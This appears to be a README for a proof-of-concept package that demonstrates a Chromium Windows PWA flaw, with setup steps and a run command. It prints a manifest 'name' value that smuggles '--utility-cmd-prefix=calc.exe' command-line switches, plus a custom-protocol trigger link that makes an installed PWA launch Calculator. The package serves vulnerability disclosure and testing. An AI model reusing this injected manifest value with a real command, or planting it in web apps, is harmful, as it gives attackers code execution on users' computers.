# Minimal PoC: Windows PWA protocol handler to calc.exe

This is the smallest demo package for the Chromium Windows PWA launcher-name switch smuggling issue.

Functional files:

- `start_video_demo.ps1`
- `trigger.html`
- `site\index.html`
- `site\manifest.webmanifest`
- `site\sw.js`
- `site\icon.svg`

## Requirements

- Windows
- Google Chrome installed
- PowerShell
- Python available as `python`

## Run

From this directory:

```powershell
powershell -ExecutionPolicy Bypass -File .\start_video_demo.ps1
```

The script starts a local server and opens Chrome with a temporary user-data-dir.

## Manual steps

1. Install the PWA from the opened local page.
2. Close the Chrome windows for that temporary profile.
3. Open `trigger.html`.
4. Click `Open web+pwacalc trigger`.
5. If Windows asks which app should handle `web+pwacalc`, select the installed PWA.
6. Calculator opens.

The vulnerable manifest field is:

```json
"name": "PWA Calc Demo --single-argument --utility-cmd-prefix=calc.exe inert"
```

The trigger link is:

```text
web+pwacalc:manual-user-trigger
```

Stop the local server using the command printed by `start_video_demo.ps1`.